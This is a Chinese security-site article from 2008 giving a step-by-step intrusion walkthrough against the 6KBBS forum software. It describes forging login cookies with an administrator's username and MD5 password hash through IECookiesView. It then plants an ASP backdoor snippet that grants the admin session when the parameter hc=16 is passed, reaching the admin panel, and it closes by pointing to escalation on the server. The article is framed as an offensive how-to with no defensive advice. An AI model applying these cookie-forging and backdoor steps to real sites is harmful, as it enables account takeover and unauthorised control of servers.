[ 登录 ][ 注册 ] 天极传媒: 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
您现在的位置: IT专家网 > 安全子站 > 评论分析

实例讲解Cookies欺骗与session欺骗入侵

作者: 佚名,  出处:网管联盟, 责任编辑: 郭秋爽, 
2008-06-19 08:57
  cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录。

  cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录。

  那么什么是cookies呢,我这里给大家一个专业的解释,cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只能被创建这个cookies的站点读回,约由255个字符组成,仅占4kb硬盘空间。当用户正在浏览某站点时,它储存于用户机的随机存取存储器ram中,退出浏览器后,它储存于用户的硬盘中。储存在cookies中的大部分信息是普通的,如当你浏览一个站点时,此文件记录了每一次的击键信息和被访站点的地址等。但是许多web站点使用cookies来储存针对私人的数据,如:注册口令、用户名、信用卡编号等。

  什么是Session?当一个访问者来到你的网站的时候一个Session就开始了,当他离开的时候Session就结束了。本质是来说,cookie是和浏览器有关系,而Session变量就可以存一些资源变量在服务器上面。

  我们先里看个实例,在6KBBS的login.asp找到113—124行,得到以下代码:

if
[url=javascript:][color=#949494]Copy code[/color][/url]
login=false then tl=" 登 陆 失 败" mes=mes&"

·返回重新填写" else response.cookies(prefix)("lgname")

=lgname session(prefix"lgname")=

lgname response.cookies(prefix)("lgpwd")=

lgpwd response.cookies(prefix)("lgtype")=

lgtype response.cookies(prefix)("lgcook")=

cook if cook>0 then response.cookies(prefix).expires=

date+cook

end if

  我们来分析下,如果你登录失败了他就显示你登录失败并引导你返回上一页,否则就给你写进cookies里面,如果你的cookies有的话那么你的过期时间就是你cookies的过期时间——也就是你保存cookies的时间了。

  这时,我们想到的是如果里面的信息是admin的,那一不就成了以管理员登陆了吗?

  首先,我们先去注册一个用户,然后登录,有个cookies保存的选项,一定要选哦。我选择是保存一个月,因为保存了才会再你本机上写进它的cookies。接着,打开数据库,看admin表里面有什么东西,别的不管,你只要那个bd为16的那个人就行了。有可能没有,你可以到他们论坛去逛一下,看管理员是谁,然后在数据库里面拿他的账号和加密的密码来欺骗。

  打开iecookiesview,这款软件是拿来察看和修改本机的cookies的,很方便我们的cookies欺骗入侵。

  在iecookiesview 里找到你要欺骗的那个网站,看到了吗?有你的用户名和md5加密的密码,我们吧这两项改为管理员的,就是把刚才数据库里面的管理员账号和md5加密的密码代替你自己的。点击“更改cookies”,打开一个新的ie,然后再去访问那个论坛,看到没有?你现在已经是管理员了。

  接着,麻烦的事出现了,后台登陆并不是以cookies来实现的,而是以session实现的 ,所以我们同样来欺骗session;

  首先简单说一下一般asp系统的身份验证原理。 一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面。

  找到manage/admin.asp,发现验证内容为:

[url=javascript:][color=#949494]Copy code[/color][/url]
...
else 
 rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR") 
 rs("LastLoginTime")=now() 
 rs("LoginTimes")=rs("LoginTimes")+1 
 rs.update 
 session.Timeout=SessionTimeout 
 session("AdminName")=rs("username") 
 rs.close 
 set rs=nothing 
 call CloseConn() 
   Response.Redirect "Admin_Index.asp"

  很容易就知道如果没有获得验证就会出现两个session值:

[url=javascript:][color=#949494]Copy code[/color][/url]
session.Timeout=SessionTimeout

  试想如果我们以adminName的信息登陆就就ok了..接着用ASP木马编辑器来添加代码如下:

[url=javascript:][color=#949494]Copy code[/color][/url]
dim id 
id=trim(request("hc")) 
if id="16" then 
session("AdminName")="admin"  
end if  

  分析上段代码,有个不定值--admin,可以根据实际情况来设置,不一定是admin;可以在一些不常去的页面来登陆,如:FriendSite.asp?hc=16返回时页面没有出现异样,这就行了,然后再次登陆manage/admin.asp,你会发现,你已经进入后台了。然后可以提权得弄服务器了。

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

邮件订阅


    • 解析Windows密码安全问题(第三部分)评论
      在前两部分文章中,我们讨论了Windows密码政策的问题以及它是如何在Active Directory环境被控制等问题,大家应该还记得在默认情况下密码政策和相关的设置位于默认域策略中(Default Domain Policy)。另外同样探讨了可以使用哪些技术破获windows密码,以及每种攻击方式的限制问题。那么,在本文中,我们将讨论如何让windows密码变得更加安全,以及如何能够解决在前两部分文章中出现的所有问题。本文将涉及Windows2002/2003/2008Active Directory默认安装带来的可能性以及其他能够整体提高密码安全的技术。
    • IDC创新和安全白皮书:合作或竞争评论
      业务创新是业务发展战略非常重要的一部分,并而日益成为公司保持竞争优势的决定性因素。由于创新的战略重要性,导致了我们越来越关注信息安全机制在抑制甚至扼杀业务创新方面起到的作用。IDC认为公司不仅是需要找到业务创新和有可能扼杀这种创新的信息安全机制,而且需要在这两者之间找到一个简洁的平衡来满足自己的业务需求。成功的企业能够在商业竞争中占有优势,是因为他们懂得去合理的利用两者使之成为一种具有杠杆作用的机制,而其它的企业只是单单强调其中的一个。
    • 预防企业数据丢失的6种最佳实践评论
      根据“私有权清算中心”(一家非赢利性消费者信息和倡导组织)的统计,自2005年1月以来,有将近2200万条记录遭到破坏。数据失窃和丢失案件数量惊人,这不仅是因为安全入侵事件正在以惊人的速度持续增长,数据丢失引发的财产损失事件也同样在飞速增加。根据美国政府的估计,所谓的“企业数据丢失”在去年使商业界损失了近1050亿美元。根据波尼蒙研究所(Ponemon Institute)的统计,仅仅内部人士导致的数据受损一项,每年给商业界造成的损失为平均每家公司3-4百万美元。产业分析公司Gartner集团估计,恢复数据的开销可以达到每条破坏记录150美元之高——这一数字还没有包括重拾客户信任和重建品牌价值、可能的罚款以及法律诉讼代理费的资金投入。在企业数据丢失案件有增无减的同时,公司也正在不断搜集更多数据,以求优化商业流程,改善客户服务,以及提升与合作伙伴的关系。更多的数据转化为相关数据在整个企业中数量不断增多的信息系统之间更广泛的传播。其结果就是——随着公司内外越来越多的用户获得接入系统的权限,敏感数据遭到破坏的风险也在不断增大。
    • RSA白皮书:管理银行的信息风险评论
      信息是银行的基础,但直到现在,金融机构还往往满足于以业务封闭式的方式管理风险。然而,行业的压力促使银行开始对这种战略展开思考。